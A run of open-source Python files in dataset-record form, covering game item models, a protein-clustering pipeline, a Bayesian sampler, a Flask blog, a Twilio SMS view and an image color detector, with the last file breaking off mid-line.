staminaPenalty = stamMult.jewelryMultiplier\n crPenalty = crMult.jewelryMultiplier\n else:\n staminaPenalty = stamMult.armorMultiplier\n crPenalty = crMult.armorMultiplier\n \n for i, stat in enumerate(stats):\n amount = budgets[ITEM_INVTYPE[self.inventoryType]+1]*stat[\"alloc\"]\n if stat[\"id\"] == 7 : \n amount *= staminaPenalty\n elif stat[\"id\"] not in CHR_PRIMARY_STATS :\n amount *= crPenalty\n amount*=0.0001\n stats[i][\"amount\"] = int(amount)\n\n # Merge same stats\n stats.sort(key=operator.itemgetter(\"id\"))\n statsOutput = []\n for k, grp in itertools.groupby(stats, lambda item: item[\"id\"]):\n grp = list(grp)\n if len (grp) > 1:\n d = {\"id\":0, \"name\":\"\", \"amount\":0, \"alloc\":0}\n for items in grp :\n d[\"id\"] = items[\"id\"]\n d[\"name\"] = items[\"name\"]\n d[\"amount\"] += items[\"amount\"]\n d[\"alloc\"] += items[\"alloc\"]\n statsOutput.append(d)\n else :\n statsOutput.append(grp[0])\n # Reorder\n output = [x for x in statsOutput if x[\"id\"] in CHR_PRIMARY_STATS]\n output+= [x for x in statsOutput if x[\"id\"] == 7 ]\n output+= [x for x in statsOutput if x[\"id\"] not in CHR_PRIMARY_STATS+[7] ] \n return output\n\nclass ItemAppearance (AbstractModel):\n TABLE = {\"table\":\"ItemAppearance\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemAppearance, self).__init__(id, **kwargs)\n def getIcon (self, size, **kwargs):\n uiData = ManifestInterfaceData(self.defaultIconFileDataID) \n return uiData.getIcon(size, **kwargs)\n\nclass ItemModifiedAppearance (AbstractModel):\n TABLE = {\"table\":\"ItemModifiedAppearance\", \"id_field\":\"id\", \"id_parent_field\":\"id_parent\"}\n def __init__ (self, id, **kwargs):\n super (ItemModifiedAppearance, self).__init__(id, **kwargs)\n \n def getIcon (self, size, **kwargs) :\n itemAppeareance = ItemAppearance(self.itemAppearanceID)\n return itemAppeareance.getIcon(size, **kwargs)\n\nclass ItemNameDescription (AbstractModel):\n TABLE = {\"table\":\"ItemNameDescription\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemNameDescription, self).__init__(id, **kwargs)\n\nclass ItemBonus (AbstractModel):\n TABLE = {\"table\":\"ItemBonus\", \"id_field\":\"id\", \"id_parent_field\":\"id_parent\"}\n def __init__ (self, id, **kwargs):\n super (ItemBonus, self).__init__(id, **kwargs)\n\nclass ItemBonusListLevelDelta (AbstractModel):\n TABLE = {\"table\":\"ItemBonusListLevelDelta\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemBonusListLevelDelta, self).__init__(id, **kwargs)\n\nclass ItemBonusTreeNode (AbstractModel):\n TABLE = {\"table\":\"ItemBonusTreeNode\", \"id_field\":\"id\", \"id_parent_field\":\"id_parent\"}\n def __init__ (self, id, **kwargs):\n super (ItemBonusTreeNode, self).__init__(id, **kwargs)\n \n def getItemLevelSelector(self):\n if self.childItemLevelSelectorID > 0:\n return ItemLevelSelector(self.childItemLevelSelectorID)\n\nclass ItemXBonusTree (AbstractModel):\n TABLE = {\"table\":\"ItemXBonusTree\", \"id_field\":\"id\", \"id_parent_field\":\"id_parent\"}\n def __init__ (self, id, **kwargs):\n super (ItemXBonusTree, self).__init__(id, **kwargs)\n\nclass ItemLevelSelector (AbstractModel):\n TABLE = {\"table\":\"ItemLevelSelector\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemLevelSelector, self).__init__(id, **kwargs)\n\nclass ItemClass (AbstractModel):\n TABLE = {\"table\":\"ItemClass\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemClass, self).__init__(id, **kwargs)\n\nclass ItemSubClass (AbstractModel):\n TABLE = {\"table\":\"ItemSubClass\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemSubClass, self).__init__(id, **kwargs)\n\nclass ItemArmorTotal (AbstractModel):\n TABLE = {\"table\":\"ItemArmorTotal\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemArmorTotal, self).__init__(id, **kwargs)\n\nclass ItemArmorShield (AbstractModel):\n TABLE = {\"table\":\"ItemArmorShield\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemArmorShield, self).__init__(id, **kwargs)\n\nclass ItemDamageAmmo (AbstractModel):\n TABLE = {\"table\":\"ItemDamageAmmo\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemDamageAmmo, self).__init__(id, **kwargs)\n\nclass ItemDamageOneHand (AbstractModel):\n TABLE = {\"table\":\"ItemDamageOneHand\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemDamageOneHand, self).__init__(id, **kwargs)\n\nclass ItemDamageOneHandCaster (AbstractModel):\n TABLE = {\"table\":\"ItemDamageOneHandCaster\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemDamageOneHandCaster, self).__init__(id, **kwargs)\n\nclass ItemDamageTwoHand (AbstractModel):\n TABLE = {\"table\":\"ItemDamageTwoHand\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemDamageTwoHand, self).__init__(id, **kwargs)\n\nclass ItemDamageTwoHandCaster (AbstractModel):\n TABLE = {\"table\":\"ItemDamageTwoHandCaster\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemDamageTwoHandCaster, self).__init__(id, **kwargs)\n\nclass ArmorLocation (AbstractModel):\n TABLE = {\"table\":\"ArmorLocation\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ArmorLocation, self).__init__(id, **kwargs)\n\nclass ItemArmorQuality (AbstractModel):\n TABLE = {\"table\":\"ItemArmorQuality\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (ItemArmorQuality, self).__init__(id, **kwargs)\n\nclass GemProperties (AbstractModel):\n TABLE = {\"table\":\"GemProperties\", \"id_field\":\"id\"}\n def __init__ (self, id, **kwargs):\n super (GemProperties, self).__init__(id, **kwargs)\n\npreload = (\n ArmorLocation,\n # ItemClass,\n ItemSubClass, \n ItemNameDescription,\n ItemBonus,\n # ItemBonusListLevelDelta,\n ItemArmorTotal,\n ItemArmorShield,\n ItemDamageOneHand, \n ItemDamageOneHandCaster,\n ItemDamageTwoHand,\n ItemDamageTwoHandCaster,\n ItemDamageAmmo,\n) \nfor tbl in preload:\n tbl.All() ","repo_name":"MichelPate/wowdb","sub_path":"models/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":35604,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"3531217287","text":"from file_manager import FileManager, Npy2Npz\nfrom distance_calculator import EmbeddingDistance\nfrom determine_dist_cutoff import CutoffDetermination\nfrom clustering_pipeline import DBSCANClustering\n\nimport os\nimport numpy as np\n\n\ndef main():\n\n superfamily = '3.20.20.70'\n\n # Read input\n # Embeddings for all 458 superfamilies considered in this study can be downloaded from\n # ftp://rostlab.org/FunFamsClustering/sequences_funfams_ec_all_protbert_tucker.npy\n embeddings_in = 'path_to_embeddings/sequences_funfams_ecs_all_protbert_tucker.npy'\n embedding_ids_in = 'path_to_embeddings/sequences_funfams_ecs_all_protbert_tucker_ids.txt'\n embeddings_tucker = Npy2Npz.get_dataset_uncompressed(embeddings_in, embedding_ids_in)\n\n # Read FunFam ids into a dictionary with key: superfamily, value: FunFams\n funfams = FileManager.read_funfam_ids_with_family('example/funfams_ids.txt')\n\n # Read sequence information per FunFam\n sequence_info_in = 'example/sequences_funfams.txt'\n sequences = FileManager.read_sequence_info(sequence_info_in, embeddings_tucker.keys())\n\n # The FunFams and sequence information can be directly extracted from FunFams and is included here to\n # allow using the code without access to the FunFams alignments\n\n fm = FileManager(ungapped_aln_path='path_to_save_data_for_each_superfamily_to',\n dist_path_funfam='path_to_save_distances_to')\n # in the ungapped_aln_path directory, a sub-directory for each superfamily will be created.\n # In the directory for a superfamily, a director dist_path_funfam will be created to save the distances to\n # depending on the size of the FunFam, distance files can become rather large. Please make sure that enough\n # disk space is available\n\n # Calculate distances\n print(\"Calculate distances\")\n dist_calculator = EmbeddingDistance(funfams, embeddings_tucker, sequences, fm)\n for f in funfams[superfamily]:\n if len(sequences[f]) > 1:\n dist_calculator.calc_distances_within_funfam(f, False)\n\n # Determine distance threshold\n print(\"Determine clustering cutoff\")\n cutoff_determine = CutoffDetermination(superfamily, funfams[superfamily], None, fm)\n cutoff = cutoff_determine.determine_cutoff(0.5, 'sequence')\n print(\"Cutoff: {:.3f}\".format(cutoff))\n\n # Define clustering outputs\n out_path = 'path_for_clustering_results'\n cluster_out_prefix = '{}clustering_results/'.format(out_path)\n outliers_out = '{}outliers.txt'.format(cluster_out_prefix)\n cluster_out_suffix = '_median_seq_tucker_protbert.txt'\n file_action = 'w'\n if os.path.exists(cluster_out_prefix):\n os.makedirs(cluster_out_prefix)\n\n # Perform clustering\n print(\"Perform clustering for each FunFam\")\n for f in funfams[superfamily]:\n distance_file = '{}/{}/{}/{}_tucker_dist.npz'.format(fm.ungapped_aln_path, superfamily, fm.dist_path_funfam, f)\n if os.path.exists(distance_file):\n distances = dict(np.load(distance_file, mmap_mode='r'))['dist']\n if len(distances) > 0:\n clustering = DBSCANClustering(distances)\n cluster_results, outliers = clustering.calc_outliers_and_clustering(cutoff)\n\n # write output\n FileManager.write_outliers(outliers_out, f, outliers, file_action)\n cluster_results.write_clustering_results(f, cluster_out_prefix, cluster_out_suffix, file_action)\n file_action = 'a' # append results to the previous file\n \n \nmain()\n","repo_name":"Rostlab/FunFamsClustering","sub_path":"funfams_clustering_pipeline_example.py","file_name":"funfams_clustering_pipeline_example.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"73028451573","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport six\nimport tensorflow as tf\n\nfrom edward.inferences.monte_carlo import MonteCarlo\nfrom edward.models import Normal, RandomVariable, Empirical\nfrom edward.util import copy\n\n\nclass SGHMC(MonteCarlo):\n \"\"\"Stochastic gradient Hamiltonian Monte Carlo (Chen et al., 2014).\n\n Notes\n -----\n In conditional inference, we infer :math:`z` in :math:`p(z, \\\\beta\n \\mid x)` while fixing inference over :math:`\\\\beta` using another\n distribution :math:`q(\\\\beta)`.\n ``SGHMC`` substitutes the model's log marginal density\n\n .. math::\n\n \\log p(x, z) = \\log \\mathbb{E}_{q(\\\\beta)} [ p(x, z, \\\\beta) ]\n \\\\approx \\log p(x, z, \\\\beta^*)\n\n leveraging a single Monte Carlo sample, where :math:`\\\\beta^* \\sim\n q(\\\\beta)`. This is unbiased (and therefore asymptotically exact as a\n pseudo-marginal method) if :math:`q(\\\\beta) = p(\\\\beta \\mid x)`.\n \"\"\"\n def __init__(self, *args, **kwargs):\n \"\"\"\n Examples\n --------\n >>> z = Normal(mu=0.0, sigma=1.0)\n >>> x = Normal(mu=tf.ones(10) * z, sigma=1.0)\n >>>\n >>> qz = Empirical(tf.Variable(tf.zeros([500])))\n >>> data = {x: np.array([0.0] * 10, dtype=np.float32)}\n >>> inference = ed.SGHMC({z: qz}, data)\n \"\"\"\n super(SGHMC, self).__init__(*args, **kwargs)\n\n def initialize(self, step_size=0.25, friction=0.1, *args, **kwargs):\n \"\"\"\n Parameters\n ----------\n step_size : float, optional\n Constant scale factor of learning rate.\n friction : float, optional\n Constant scale on the friction term in the Hamiltonian system.\n \"\"\"\n self.step_size = step_size\n self.friction = friction\n self.v = {z: tf.Variable(tf.zeros(qz.params.get_shape()[1:]))\n for z, qz in six.iteritems(self.latent_vars)}\n return super(SGHMC, self).initialize(*args, **kwargs)\n\n def build_update(self):\n \"\"\"\n Simulate Hamiltonian dynamics with friction using a discretized\n integrator. Its discretization error goes to zero as the learning rate\n decreases.\n\n Implements the update equations from (15) of Chen et al. (2014).\n \"\"\"\n old_sample = {z: tf.gather(qz.params, tf.maximum(self.t - 1, 0))\n for z, qz in six.iteritems(self.latent_vars)}\n old_v_sample = {z: v for z, v in six.iteritems(self.v)}\n\n # Simulate Hamiltonian dynamics with friction.\n friction = tf.constant(self.friction, dtype=tf.float32)\n learning_rate = tf.constant(self.step_size * 0.01, dtype=tf.float32)\n grad_log_joint = tf.gradients(self._log_joint(old_sample),\n list(six.itervalues(old_sample)))\n\n # v_sample is so named b/c it represents a velocity rather than momentum.\n sample = {}\n v_sample = {}\n for z, grad_log_p in zip(six.iterkeys(old_sample), grad_log_joint):\n qz = self.latent_vars[z]\n event_shape = qz.get_event_shape()\n normal = Normal(mu=tf.zeros(event_shape),\n sigma=(tf.sqrt(learning_rate * friction) *\n tf.ones(event_shape)))\n sample[z] = old_sample[z] + old_v_sample[z]\n v_sample[z] = ((1. - 0.5 * friction) * old_v_sample[z] +\n learning_rate * grad_log_p + normal.sample())\n\n # Update Empirical random variables.\n assign_ops = []\n for z, qz in six.iteritems(self.latent_vars):\n variable = qz.get_variables()[0]\n assign_ops.append(tf.scatter_update(variable, self.t, sample[z]))\n assign_ops.append(tf.assign(self.v[z], v_sample[z]).op)\n\n # Increment n_accept.\n assign_ops.append(self.n_accept.assign_add(1))\n return tf.group(*assign_ops)\n\n def _log_joint(self, z_sample):\n \"\"\"\n Utility function to calculate model's log joint density,\n log p(x, z), for inputs z (and fixed data x).\n\n Parameters\n ----------\n z_sample : dict\n Latent variable keys to samples.\n \"\"\"\n if self.model_wrapper is None:\n scope = 'inference_' + str(id(self))\n # Form dictionary in order to replace conditioning on prior or\n # observed variable with conditioning on a specific value.\n dict_swap = z_sample.copy()\n for x, qx in six.iteritems(self.data):\n if isinstance(x, RandomVariable):\n if isinstance(qx, RandomVariable):\n qx_copy = copy(qx, scope=scope)\n dict_swap[x] = qx_copy.value()\n else:\n dict_swap[x] = qx\n\n log_joint = 0.0\n for z in six.iterkeys(self.latent_vars):\n z_copy = copy(z, dict_swap, scope=scope)\n log_joint += tf.reduce_sum(\n self.scale.get(z, 1.0) * z_copy.log_prob(dict_swap[z]))\n\n for x in six.iterkeys(self.data):\n if isinstance(x, RandomVariable):\n x_copy = copy(x, dict_swap, scope=scope)\n log_joint += tf.reduce_sum(\n self.scale.get(x, 1.0) * x_copy.log_prob(dict_swap[x]))\n else:\n x = self.data\n log_joint = self.model_wrapper.log_prob(x, z_sample)\n\n return log_joint\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/blei-lab_edward/edward-master/edward/inferences/sghmc.py","file_name":"sghmc.py","file_ext":"py","file_size_in_byte":5013,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"42957578795","text":"def verifica_idade(x):\n if id < 18:\n return(\"Não está liberado\")\n elif id < 21:\n return(\"Liberado BRASIL\")\n else:\n return(\"Liberado EUA e BRASIL\")\n\nid = float(input('idade :'))\n\nc = verifica_idade(id)\n\nprint(c)","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_387/ch18_2020_03_02_16_14_31_205556.py","file_name":"ch18_2020_03_02_16_14_31_205556.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33608677566","text":"import json\npath = r'C:\\Users\\391\\Desktop\\1.csv'\nwith open(path, 'r', encoding='utf8') as f:\n data = f.readlines()\n for i,line in enumerate(data):\n line = line.strip()\n line = line.split(',')\n data[i] = line\ndata[0][0] = '秦山核电厂'\nplant_tree = {}\nfor line in data:\n if line[0] != '':\n cur_factory = line[0]\n plant_tree[cur_factory] = {}\n \n plant_tree[cur_factory][line[1]] = {\n '装机容量': line[2],\n '发电量': line[3],\n '上网电量': line[4],\n '核电设备利用小时数': line[5],\n '机组能力因子': line[6]\n }\n# print(plant_tree)\n\ndata_path = r'D:\\material\\repos\\web-page\\nuclear_power_plant\\lib\\data\\data2.json'\nwith open(data_path, 'r', encoding='utf8') as f:\n data = json.loads(f.read())\nfor plant in data:\n plant_name = plant['name'][:2]\n for factory, workers in plant_tree.items():\n if factory[:2] == plant_name:\n t = plant.get('factory',{})\n t[factory] = workers\n plant['factory'] = t\ndata_path2 = r'D:\\material\\repos\\web-page\\nuclear_power_plant\\lib\\data\\data3.json'\nwith open(data_path2, 'w', encoding='utf8') as f:\n f.write(json.dumps(obj=data, ensure_ascii=False))\nfor plant in data:\n if plant['status'] == '已投入运营' and 'factory' not in plant.keys():\n print(plant['name']) \nprint(len(data))","repo_name":"air391/nuclear_power_plant","sub_path":"scripts/detailed_data.py","file_name":"detailed_data.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18556820222","text":"from peewee import *\nfrom playhouse.db_url import connect\n\ndb = connect('mysql://root:@localhost:3306/pyshop')\n\nclass Employeer(Model):\n cpf = IntegerField(primary_key=True)\n name = CharField()\n role = CharField()\n\n class Meta:\n database = db\n\nclass Customer(Model):\n cpf = IntegerField(primary_key=True)\n name = CharField()\n\n class Meta:\n database = db\n\nclass Provider(Model):\n cnpj = IntegerField()\n name = CharField()\n\n class Meta:\n database = db\n\nclass Category(Model):\n id = IntegerField(primary_key=True)\n name = CharField()\n\n class Meta:\n database = db\n\nclass Product(Model):\n id = IntegerField(primary_key=True)\n name = CharField()\n category = ForeignKeyField(Category, field='id')\n provider = ForeignKeyField(Provider, field='cnpj')\n price = IntegerField()\n amount = IntegerField()\n \n class Meta:\n database = db\n\nclass Cart(Model):\n id = IntegerField(primary_key=True)\n owner = ForeignKeyField(Customer, field='cpf')\n total = IntegerField()\n payment_type = CharField(max_length=32)\n\n class Meta:\n database = db\n\ndef init():\n print('Creating tables...')\n\n db.create_tables([\n Employeer, \n Customer,\n Provider,\n Category,\n Product,\n Cart\n ])\n\n print('Tables created.')","repo_name":"matheuscmc/database","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32853527141","text":"from corehq.apps.sms.api import incoming as incoming_sms\nfrom corehq.apps.twilio.models import TwilioBackend\nfrom django.http import HttpResponse, HttpResponseBadRequest\nfrom django.views.decorators.csrf import csrf_exempt\n\nEMPTY_RESPONSE = \"\"\"\n\"\"\"\n\n@csrf_exempt\ndef sms_in(request):\n if request.method == \"POST\":\n message_sid = request.POST.get(\"MessageSid\")\n account_sid = request.POST.get(\"AccountSid\")\n from_ = request.POST.get(\"From\")\n to = request.POST.get(\"To\")\n body = request.POST.get(\"Body\")\n incoming_sms(\n from_,\n body,\n TwilioBackend.get_api_id(),\n backend_message_id=message_sid\n )\n return HttpResponse(EMPTY_RESPONSE)\n else:\n return HttpResponseBadRequest(\"POST Expected\")\n\n","repo_name":"gmimano/commcaretest","sub_path":"corehq/apps/twilio/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20058959091","text":"import os\nimport joblib\nimport numpy as np\n\n\n\"\"\"\nConversion of the subfolders containing the reference samples into 'cannot link' and 'must link' constraints, saved as txt files.\n\"\"\"\ndataset = \"/home/vincent/DeepLearning/Season_2019-2020/clean_dataset\"\nroot = \"/home/vincent/AuroraShapes/AuroraClasses/\"\nfilepaths = []\nlabels = []\nmust_link = []\ncannot_link = []\nkey_imgs = []\nl = 0\ni = 0\nprint(os.listdir(root))\nfor dire in os.listdir(root):\n if os.path.isdir(root + dire):\n k = 0\n for img in os.listdir(root + dire):\n if img[-3:] == \"jpg\":\n filepaths.append(img)\n labels.append(l)\n if img in os.listdir(dataset):\n os.remove(os.path.join(dataset,img))\n if k == 0:\n key_imgs.append(i)\n else:\n must_link.append((i-1,i))\n k += 1\n i += 1\n l += 1\nfor j in range(1,len(key_imgs)):\n for i in range(1,j):\n cannot_link.append((key_imgs[j-i],key_imgs[j]))\n#np.save(root + \"filepaths.npy\", filepaths)\n#np.save(root + \"labels.npy\", labels)\njoblib.dump(must_link, root + \"must_link.txt\")\njoblib.dump(cannot_link, root + \"cannot_link.txt\")\nprint(filepaths)\nprint(labels)\nprint(must_link)\nprint(cannot_link)","repo_name":"Tadlai/auroral-classification","sub_path":"create_reference_constraints.py","file_name":"create_reference_constraints.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8441556558","text":"#!/usr/bin/python\n\nimport xml.etree.ElementTree as ET\nimport sys\nimport yaml\nimport os\n\n\n\nfor f in os.listdir(\"patterns\"):\n if '.xml' not in f:\n continue\n tree = ET.parse(\"patterns/%s\" %f)\n\n p = {}\n namespace=\"http://linux.duke.edu/metadata/rpm\"\n pns = 'http://novell.com/package/metadata/suse/pattern'\n n = tree.find('{%s}name' %pns).text\n if n.startswith(\"meego-\"):\n n = n[6:]\n p['Name'] = n\n s = tree.find('{%s}summary' %pns).text\n if s.startswith(\"MeeGo\"):\n s = s[5:].lstrip()\n p['Summary'] = s\n p['Description'] = tree.find('{%s}description' %pns).text\n req = tree.findall('.//{%s}entry' % namespace)\n pkgs = []\n for r in req:\n pkgs.append(r.attrib.get(\"name\"))\n\n p['Packages'] = pkgs\n yf = yaml.dump(p, default_flow_style=False)\n\n yfn = os.path.basename(f).rpartition(\".\")[0] + \".yaml\"\n if yfn.startswith(\"meego-\"):\n yfn = yfn[6:]\n fp = open(\"new/%s\" %yfn, 'w')\n fp.write(yf)\n fp.close()\n\n","repo_name":"tizenorg/platform.upstream.pattern-tools","sub_path":"scripts/convert-to-yaml.py","file_name":"convert-to-yaml.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13398583734","text":"from __init__ import app, db\nfrom models import Post\nfrom flask import render_template, request, redirect, url_for, flash, send_file, send_from_directory\nimport datetime, os\n\n\nFILES_FOLDER = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'static', 'music')\n\n\n@app.route('/') # View functions\ndef index():\n posts = Post.query.all()\n return render_template('index.html', posts=posts)\n\n\n@app.route('/about')\ndef about():\n return render_template('about.html')\n\n\n@app.route('/post/')\ndef post(post_id):\n post = Post.query.filter_by(id=post_id).one()\n return render_template('post.html', post=post)\n\n\n@app.route('/new_post')\ndef new_post():\n return render_template('new_post.html')\n\n\n@app.route('/addpost', methods=['POST', 'GET'])\ndef addpost():\n if request.method == 'POST':\n title = request.form['title']\n subtitle = request.form['subtitle']\n author = request.form['author']\n content = request.form['content']\n\n post = Post(title=title, sub_title=subtitle, author=author, content=content, date_post=datetime.datetime.now())\n\n db.session.add(post)\n db.session.commit()\n\n return redirect(url_for('index'))\n else:\n flash('

Something came wrong

')\n return redirect(url_for('index'))\n\n\n@app.route('/login', methods=[\"POST\", \"GET\"])\ndef login():\n return 'Login'\n\n\n@app.route('/download', methods=['POST', 'GET'])\ndef download():\n filenames = [f for f in os.listdir(FILES_FOLDER)]\n print(filenames)\n return render_template('download.html', files=filenames)\n\n\n@app.route('/return-file/')\ndef return_file(filename):\n file_path = os.path.join(FILES_FOLDER)\n return send_from_directory(file_path, filename, as_attachment=True)\n\n\n@app.errorhandler(404) # Error handlers\ndef page_not_found(e):\n return render_template('404.html'), 404\n\n\n@app.errorhandler(500)\ndef internal_server_error(e):\n return render_template('500.html'), 500\n","repo_name":"Papashanskiy/Papshanskiy_blog","sub_path":"routs.py","file_name":"routs.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1318224133","text":"# -*- codeing = utf-8 -*-\n# Time : 2022/7/18 14:03\n# @Auther : zhouchao\n# @File: models.py\n# @Software:PyCharm、\nimport datetime\nimport pickle\nfrom queue import Queue\n\nimport cv2\nimport numpy as np\nimport scipy.io\nimport threading\nfrom scipy.ndimage import binary_dilation\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import classification_report\nfrom sklearn.model_selection import train_test_split\nimport time\n\nfrom config import Config\nfrom detector import SugarDetect\nfrom utils import lab_scatter, read_labeled_img, size_threshold\n\n\ndeploy = False\nif not deploy:\n print(\"Training env\")\n from tqdm import tqdm\n from elm import ELM\n\n\nclass Detector(object):\n def predict(self, *args, **kwargs):\n raise NotImplementedError\n\n def load(self, *args, **kwargs):\n raise NotImplementedError\n\n def save(self, *args, **kwargs):\n raise NotImplementedError\n\n def fit(self, *args, **kwargs):\n raise NotImplementedError\n\n\nclass AnonymousColorDetector(Detector):\n def __init__(self, file_path: str = None):\n super(AnonymousColorDetector, self).__init__()\n self.model = None\n self.model_type = 'None'\n if file_path is not None:\n self.load(file_path)\n\n def fit(self, x: np.ndarray, world_boundary: np.ndarray = None, threshold: float = None,\n is_generate_negative: bool = True, y: np.ndarray = None, model_selection='elm',\n negative_sample_size: int = 1000, train_size: float = 0.8, is_save_dataset=False, **kwargs):\n \"\"\"\n 拟合到指定的样本分布情况下,根据x进行分布的变化。\n\n :param x: ndarray类型的正样本数据,给出的正样本形状为 n x feature_num\n :param world_boundary: 整个世界的边界,边界形状为 feature_num个下限, feature_num个上限\n :param threshold: 与正样本之间的距离阈值大于多少则不认为是指定的样本类别\n :param is_generate_negative: 是否生成负样本\n :param y: 给出x对应的样本y\n :param model_selection: 模型的选择, in ['elm', 'decision tree']\n :param negative_sample_size: 负样本的数量\n :param train_size: 训练集的比例, float\n :param is_save_dataset: 是否保存数据集\n :param kwargs: 与模型相对应的参数\n :return:\n \"\"\"\n if model_selection == 'elm':\n node_num = kwargs.get('node_num', 10)\n self.model = ELM(input_size=x.shape[1], node_num=node_num, output_num=2, **kwargs)\n elif model_selection == 'dt':\n self.model = DecisionTreeClassifier(**kwargs)\n else:\n raise ValueError(\"你看看我要的是啥\")\n self.model_type = model_selection\n if is_generate_negative:\n negative_samples = self.generate_negative_samples(x, world_boundary, threshold,\n sample_size=negative_sample_size)\n data_x, data_y = np.concatenate([x, negative_samples], axis=0), \\\n np.concatenate([np.ones(x.shape[0], dtype=int),\n np.zeros(negative_samples.shape[0], dtype=int)], axis=0)\n else:\n data_x, data_y = x, y\n if is_save_dataset:\n path = datetime.datetime.now().strftime(\"dataset_%Y-%m-%d_%H-%M.mat\")\n scipy.io.savemat(path, {'x': data_x, 'y': data_y})\n x_train, x_val, y_train, y_val = train_test_split(data_x, data_y, train_size=train_size, shuffle=True,\n stratify=data_y)\n self.model.fit(x_train, y_train)\n y_predict = self.model.predict(x_val)\n print(classification_report(y_true=y_val, y_pred=y_predict))\n\n def predict(self, x, threshold_low=5, threshold_high=255):\n \"\"\"\n 输入rgb彩色图像\n\n :param x: rgb彩色图像,np.ndarray\n :return:\n \"\"\"\n w, h = x.shape[1], x.shape[0]\n x = cv2.cvtColor(x, cv2.COLOR_RGB2LAB)\n x = x.reshape(w * h, -1)\n mask = (threshold_low < x[:, 0]) & (x[:, 0] < threshold_high)\n result = np.ones((w * h,), dtype=np.uint8)\n\n if np.any(mask):\n mask_result = self.model.predict(x[mask])\n result[mask] = mask_result\n return result.reshape(h, w)\n\n @staticmethod\n def generate_negative_samples(x: np.ndarray, world_boundary: np.ndarray, threshold: float, sample_size: int):\n \"\"\"\n 根据正样本和世界边界生成负样本\n\n :param x: ndarray类型的正样本数据,给出的正样本形状为 n x feature_num\n :param world_boundary: 整个世界的边界,边界形状为 feature_num个下限, feature_num个上限, array like\n :param threshold: 与正样本x之间的距离限制\n :return: 负样本形状为:(sample_size, feature_num)\n \"\"\"\n\n feature_num = x.shape[1]\n negative_samples = np.zeros((sample_size, feature_num), dtype=x.dtype)\n generated_sample_num = 0\n bar = tqdm(total=sample_size, ncols=100)\n while generated_sample_num <= sample_size:\n generated_data = np.random.uniform(world_boundary[:feature_num], world_boundary[feature_num:],\n size=(sample_size, feature_num))\n for sample_idx in range(generated_data.shape[0]):\n sample = generated_data[sample_idx, :]\n in_threshold = np.any(np.sum(np.power(sample - x, 2), axis=1) < threshold)\n if not in_threshold:\n negative_samples[sample_idx, :] = sample\n generated_sample_num += 1\n bar.update()\n if generated_sample_num >= sample_size:\n break\n bar.close()\n return negative_samples\n\n def pretreatment(self, x):\n return cv2.resize(x, (1024, 256))\n\n def swell(self, x):\n return cv2.dilate(x, kernel=np.ones((3, 3), np.uint8))\n\n def save(self):\n path = datetime.datetime.now().strftime(f\"{self.model_type}_%Y-%m-%d_%H-%M.model\")\n with open(path, 'wb') as f:\n pickle.dump((self.model_type, self.model), f)\n\n def load(self, file_path):\n with open(file_path, 'rb') as model_file:\n data = pickle.load(model_file)\n self.model_type, self.model = data\n\n def visualize(self, world_boundary: np.ndarray, sample_size: int, ground_truth=None,\n **kwargs):\n feature_num = world_boundary.shape[0] // 2\n x = np.random.uniform(world_boundary[:feature_num], world_boundary[feature_num:],\n size=(sample_size, feature_num))\n pred_y = self.model.predict(x)\n draw_dataset = {'Inside': x[pred_y == 1, :], 'Outside': x[pred_y == 0, :]}\n if ground_truth is not None:\n draw_dataset.update({'Given': ground_truth})\n lab_scatter(draw_dataset, is_3d=True, is_ps_color_space=False, **kwargs)\n\n\nclass ManualTree:\n # 初始化机器学习像素模型、深度学习像素模型、分块模型\n def __init__(self, blk_model_path, pixel_model_path):\n self.pixel_model_ml = PixelModelML(pixel_model_path)\n self.blk_model = BlkModel(blk_model_path)\n\n # 区分烟梗和非黄色且非背��的杂质\n @staticmethod\n def is_yellow(features):\n features = 